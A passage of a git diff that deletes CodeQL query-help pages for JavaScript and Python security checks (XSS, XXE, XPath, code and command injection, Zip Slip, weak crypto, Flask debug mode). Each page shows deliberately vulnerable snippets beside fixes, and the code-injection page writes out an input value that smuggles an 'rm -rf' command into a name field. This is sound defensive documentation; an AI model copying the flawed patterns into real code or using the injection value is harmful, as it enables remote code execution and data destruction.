sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal. - - -## Recommendation -Ensure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal. - - -## Example -The following example code checks that a string is `"my-marker"`, possibly surrounded by white space: - - -```javascript -let regex = new RegExp('(^\s*)my-marker(\s*$)'), - isMyMarkerText = regex.test(text); - -``` -However, the check does not work properly for white space as the two `\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `"smy-markers"` instead of `" my-marker "`. Address these shortcomings by either using a regular expression literal (`/(^\s*)my-marker(\s*$)/`), or by adding extra backslashes (`'(^\\s*)my-marker(\\s*$)'`). - - -## References -* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping) -* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation) -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessUseOfCat.md b/docs/language/query-help/javascript/UselessUseOfCat.md deleted file mode 100644 index 7e80c7ae41e..00000000000 --- a/docs/language/query-help/javascript/UselessUseOfCat.md +++ /dev/null @@ -1,51 +0,0 @@ -# Unnecessary use of `cat` process - -``` -ID: js/unnecessary-use-of-cat -Kind: problem -Severity: error -Precision: high -Tags: correctness security maintainability - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UselessUseOfCat.ql) - -Using the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API. - -The use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities. - - -## Recommendation -Use `fs.readFile` or `fs.readFileSync` to read files from the file system. - - -## Example -The following example shows code that reads a file using `cat`: - - -```javascript -var child_process = require('child_process'); - -module.exports = function (name) { - return child_process.execSync("cat " + name).toString(); -}; - -``` -The code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen. - -The `fs.readFile` API should be used to avoid these potential issues: - - -```javascript -var fs = require('fs'); - -module.exports = function (name) { - return fs.readFileSync(name).toString(); -}; - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Node.js: [File System API](https://nodejs.org/api/fs.html). -* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XmlBomb.md b/docs/language/query-help/javascript/XmlBomb.md deleted file mode 100644 index 991466c94e4..00000000000 --- a/docs/language/query-help/javascript/XmlBomb.md +++ /dev/null @@ -1,62 +0,0 @@ -# XML internal entity expansion - -``` -ID: js/xml-bomb -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-776 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-776/XmlBomb.ql) - -Parsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion. - -In XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically. - -If untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack. - - -## Recommendation -The safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed. - - -## Example -The following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default: - - -```javascript -const app = require("express")(), - expat = require("node-expat"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - parser = new expat.Parser(); - parser.on("startElement", handleStart); - parser.on("text", handleText); - parser.write(xmlSrc); -}); - -``` -At the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`: - - -```javascript -const app = require("express")(), - sax = require("sax"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - parser = sax.parser(true); - parser.onopentag = handleStart; - parser.ontext = handleText; - parser.write(xmlSrc); -}); - -``` - -## References -* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs). -* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx). -* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XpathInjection.md b/docs/language/query-help/javascript/XpathInjection.md deleted file mode 100644 index 72f34bdb259..00000000000 --- a/docs/language/query-help/javascript/XpathInjection.md +++ /dev/null @@ -1,65 +0,0 @@ -# XPath injection - -``` -ID: js/xpath-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-643/XpathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression. - - -## Example -In this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - - -```javascript -const express = require('express'); -const xpath = require('xpath'); -const app = express(); - -app.get('/some/route', function(req, res) { - let userName = req.param("userName"); - - // BAD: Use user-provided data directly in an XPath expression - let badXPathExpr = xpath.parse("//users/user[login/text()='" + userName + "']/home_dir/text()"); - badXPathExpr.select({ - node: root - }); -}); - -``` -Instead, embed the user input using the variable replacement mechanism offered by `xpath`: - - -```javascript -const express = require('express'); -const xpath = require('xpath'); -const app = express(); - -app.get('/some/route', function(req, res) { - let userName = req.param("userName"); - - // GOOD: Embed user-provided data using variables - let goodXPathExpr = xpath.parse("//users/user[login/text()=$userName]/home_dir/text()"); - goodXPathExpr.select({ - node: root, - variables: { userName: userName } - }); -}); - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* npm: [xpath](https://www.npmjs.com/package/xpath). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xss.md b/docs/language/query-help/javascript/Xss.md deleted file mode 100644 index 96bdf54de2f..00000000000 --- a/docs/language/query-help/javascript/Xss.md +++ /dev/null @@ -1,43 +0,0 @@ -# Client-side cross-site scripting - -``` -ID: js/xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/Xss.ql) - -Directly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting. - - -```javascript -function setLanguageOptions() { - var href = document.location.href, - deflt = href.substring(href.indexOf("default=")+8); - document.write(""); - document.write(""); -} - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XssThroughDom.md b/docs/language/query-help/javascript/XssThroughDom.md deleted file mode 100644 index f469cc8a7d2..00000000000 --- a/docs/language/query-help/javascript/XssThroughDom.md +++ /dev/null @@ -1,53 +0,0 @@ -# DOM text reinterpreted as HTML - -``` -ID: js/xss-through-dom -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/XssThroughDom.ql) - -Extracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability. - -A webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below. - - -## Example -The following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated. - - -```javascript -$("button").click(function () { - var target = $(this).attr("data-target"); - $(target).hide(); -}); - -``` -However, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitary JavaScript. - -The above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack. - - -```javascript -$("button").click(function () { - var target = $(this).attr("data-target"); - $.find(target).hide(); -}); - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xxe.md b/docs/language/query-help/javascript/Xxe.md deleted file mode 100644 index 5529c85fa3a..00000000000 --- a/docs/language/query-help/javascript/Xxe.md +++ /dev/null @@ -1,53 +0,0 @@ -# XML external entity expansion - -``` -ID: js/xxe -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-611 external/cwe/cwe-827 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-611/Xxe.ql) - -Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data. - - -## Recommendation -The easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken. - - -## Example -The following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`: - - -```javascript -const app = require("express")(), - libxml = require("libxmljs"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - doc = libxml.parseXml(xmlSrc, { noent: true }); -}); - -``` -To guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/latest#unescape) or [he](https://github.com/mathiasbynens/he). - - -```javascript -const app = require("express")(), - libxml = require("libxmljs"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - doc = libxml.parseXml(xmlSrc); -}); - -``` - -## References -* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). -* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf). -* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). -* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). -* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ZipSlip.md b/docs/language/query-help/javascript/ZipSlip.md deleted file mode 100644 index 390c5a75aca..00000000000 --- a/docs/language/query-help/javascript/ZipSlip.md +++ /dev/null @@ -1,68 +0,0 @@ -# Arbitrary file write during zip extraction ("Zip Slip") - -``` -ID: js/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to check that `".."` does not occur in the path. - - -## Example -In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. - - -```javascript -const fs = require('fs'); -const unzip = require('unzip'); - -fs.createReadStream('archive.zip') - .pipe(unzip.Parse()) - .on('entry', entry => { - const fileName = entry.path; - // BAD: This could write any file on the filesystem. - entry.pipe(fs.createWriteStream(fileName)); - }); - -``` -To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. - - -```javascript -const fs = require('fs'); -const unzip = require('unzip'); - -fs.createReadStream('archive.zip') - .pipe(unzip.Parse()) - .on('entry', entry => { - const fileName = entry.path; - // GOOD: ensures the path is safe to write to. - if (fileName.indexOf('..') == -1) { - entry.pipe(fs.createWriteStream(fileName)); - } - else { - console.log('skipping bad path', fileName); - } - }); - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python/BindToAllInterfaces.md b/docs/language/query-help/python/BindToAllInterfaces.md deleted file mode 100644 index 72fc269813a..00000000000 --- a/docs/language/query-help/python/BindToAllInterfaces.md +++ /dev/null @@ -1,44 +0,0 @@ -# Binding a socket to all network interfaces - -``` -ID: py/bind-socket-all-network-interfaces -Kind: problem -Severity: error -Precision: high -Tags: security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CVE-2018-1281/BindToAllInterfaces.ql) - -Sockets can be used to communicate with other machines on a network. You can use the (IP address, port) pair to define the access restrictions for the socket you create. When using the built-in Python `socket` module (for instance, when building a message sender service or an FTP server data transmitter), one has to bind the port to some interface. When you bind the port to all interfaces using `0.0.0.0` as the IP address, you essentially allow it to accept connections from any IPv4 address provided that it can get to the socket via routing. Binding to all interfaces is therefore associated with security risks. - - -## Recommendation -Bind your service incoming traffic only to a dedicated interface. If you need to bind more than one interface using the built-in `socket` module, create multiple sockets (instead of binding to one socket to all interfaces). - - -## Example -In this example, two sockets are insecure because they are bound to all interfaces; one through the `0.0.0.0` notation and another one through an empty string `''`. - - -```python -import socket - -# binds to all interfaces, insecure -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind(('0.0.0.0', 31137)) - -# binds to all interfaces, insecure -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind(('', 4040)) - -# binds only to a dedicated interface, secure -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind(('84.68.10.12', 8080)) - -``` - -## References -* Python reference: [ Socket families](https://docs.python.org/3/library/socket.html#socket-families). -* Python reference: [ Socket Programming HOWTO](https://docs.python.org/3.7/howto/sockets.html). -* Common Vulnerabilities and Exposures: [ CVE-2018-1281 Detail](https://nvd.nist.gov/vuln/detail/CVE-2018-1281). \ No newline at end of file diff --git a/docs/language/query-help/python/BrokenCryptoAlgorithm.md b/docs/language/query-help/python/BrokenCryptoAlgorithm.md deleted file mode 100644 index 3291fe7ac4c..00000000000 --- a/docs/language/query-help/python/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,49 +0,0 @@ -# Use of a broken or weak cryptographic algorithm - -``` -ID: py/weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. - - -## Example -The following code uses the `pycrypto` library to encrypt some secret data. When you create a cipher using `pycrypto` you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses Blowfish, which is a stronger more modern algorithm. - - -```python -from Crypto.Cipher import DES, Blowfish - -cipher = DES.new(SECRET_KEY) - -def send_encrypted(channel, message): - channel.send(cipher.encrypt(message)) # BAD: weak encryption - - -cipher = Blowfish.new(SECRET_KEY) - -def send_encrypted(channel, message): - channel.send(cipher.encrypt(message)) # GOOD: strong encryption - - -``` -WARNING: Although the second example above is more robust, pycrypto is no longer actively maintained so we recommend using `cryptography` instead. - - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextLogging.md b/docs/language/query-help/python/CleartextLogging.md deleted file mode 100644 index 7f576178857..00000000000 --- a/docs/language/query-help/python/CleartextLogging.md +++ /dev/null @@ -1,49 +0,0 @@ -# Clear-text logging of sensitive information - -``` -ID: py/clear-text-logging-sensitive-data -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextLogging.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```python -from flask import Flask, make_response, request - -app = Flask("Leak password") - -@app.route('/') -def index(): - password = request.args.get("password") - resp = make_response(render_template(...)) - resp.set_cookie("password", password) - return resp - -``` -Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. - - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextStorage.md b/docs/language/query-help/python/CleartextStorage.md deleted file mode 100644 index 970672f9e29..00000000000 --- a/docs/language/query-help/python/CleartextStorage.md +++ /dev/null @@ -1,49 +0,0 @@ -# Clear-text storage of sensitive information - -``` -ID: py/clear-text-storage-sensitive-data -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextStorage.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```python -from flask import Flask, make_response, request - -app = Flask("Leak password") - -@app.route('/') -def index(): - password = request.args.get("password") - resp = make_response(render_template(...)) - resp.set_cookie("password", password) - return resp - -``` -Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. - - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CodeInjection.md b/docs/language/query-help/python/CodeInjection.md deleted file mode 100644 index f9899607756..00000000000 --- a/docs/language/query-help/python/CodeInjection.md +++ /dev/null @@ -1,51 +0,0 @@ -# Code injection - -``` -ID: py/code-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/owasp/owasp-a1 external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-094/CodeInjection.ql) - -Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is passed to code that interprets it as an expression to be evaluated, such as `eval` or `exec`. - - -## Recommendation -Avoid including user input in any expression that may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. - - -## Example -The following example shows two functions setting a name from a request. The first function uses `exec` to execute the `setname` function. This is dangerous as it can allow a malicious user to execute arbitrary code on the server. For example, the user could supply the value `"' + subprocess.call('rm -rf') + '"` to destroy the server's file system. The second function calls the `setname` function directly and is thus safe. - - -```python - -urlpatterns = [ - # Route to code_execution - url(r'^code-ex1$', code_execution_bad, name='code-execution-bad'), - url(r'^code-ex2$', code_execution_good, name='code-execution-good') -] - -def code_execution(request): - if request.method == 'POST': - first_name = base64.decodestring(request.POST.get('first_name', '')) - #BAD -- Allow user to define code to be run. - exec("setname('%s')" % first_name) - -def code_execution(request): - if request.method == 'POST': - first_name = base64.decodestring(request.POST.get('first_name', '')) - #GOOD --Call code directly - setname(first_name) - -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CommandInjection.md b/docs/language/query-help/python/CommandInjection.md deleted file mode 100644 index d57d32e1556..00000000000 --- a/docs/language/query-help/python/CommandInjection.md +++ /dev/null @@ -1,56 +0,0 @@ -# Uncontrolled command line - -``` -ID: py/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-078/CommandInjection.ql) - -Code that passes user input directly to `exec`, `eval`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or the library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows two functions. The first is unsafe as it takes a shell script that can be changed by a user, and passes it straight to `subprocess.call()` without examining it first. The second is safe as it selects the command from a predefined allowlist. - - -```python - -urlpatterns = [ - # Route to command_execution - url(r'^command-ex1$', command_execution_unsafe, name='command-execution-unsafe'), - url(r'^command-ex2$', command_execution_safe, name='command-execution-safe') -] - -COMMANDS = { - "list" :"ls", - "stat" : "stat" -} - -def command_execution_unsafe(request): - if request.method == 'POST': - action = request.POST.get('action', '') - #BAD -- No sanitizing of input - subprocess.call(["application", action]) - -def command_execution_safe(request): - if request.method == 'POST': - action = request.POST.get('action', '') - #GOOD -- Use an allowlist - subprocess.call(["application", COMMANDS[action]]) - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/python/FlaskDebug.md b/docs/language/query-help/python/FlaskDebug.md deleted file mode 100644 index 146b8677c06..00000000000 --- a/docs/language/query-help/python/FlaskDebug.md +++ /dev/null @@ -1,41 +0,0 @@ -# Flask app is run in debug mode - -``` -ID: py/flask-debug -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-215 external/cwe/cwe-489 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-215/FlaskDebug.ql) - -Running a Flask application with debug mode enabled may allow an attacker to gain access through the Werkzeug debugger. - - -## Recommendation -Ensure that Flask applications that are run in a production environment have debugging disabled. - - -## Example -Running the following code starts a Flask webserver that has debugging enabled. By visiting `/crash`, it is possible to gain access to the debugger, and run arbitrary code through the interactive debugger. - - -```python -from flask import Flask - -app = Flask(__name__) - -@app.route('/crash') -def main(): - raise Exception() - -app.run(debug=True) - -``` - -## References -* Flask Quickstart Documentation: [Debug Mode](http://flask.pocoo.org/docs/1.0/quickstart/#debug-mode). -* Werkzeug Documentation: [Debugging Applications](http://werkzeug.pocoo.org/docs/0.14/debug/). -* Common Weakness Enumeration: [CWE-215](https://cwe.mitre.org/data/definitions/215.html). -* Common Weakness Enumeration: [CWE-489](https://cwe.mitre.org/data/definitions/489.html). \ No newline at end of file diff --git a/docs/language/query-help/python/HardcodedCredentials.md 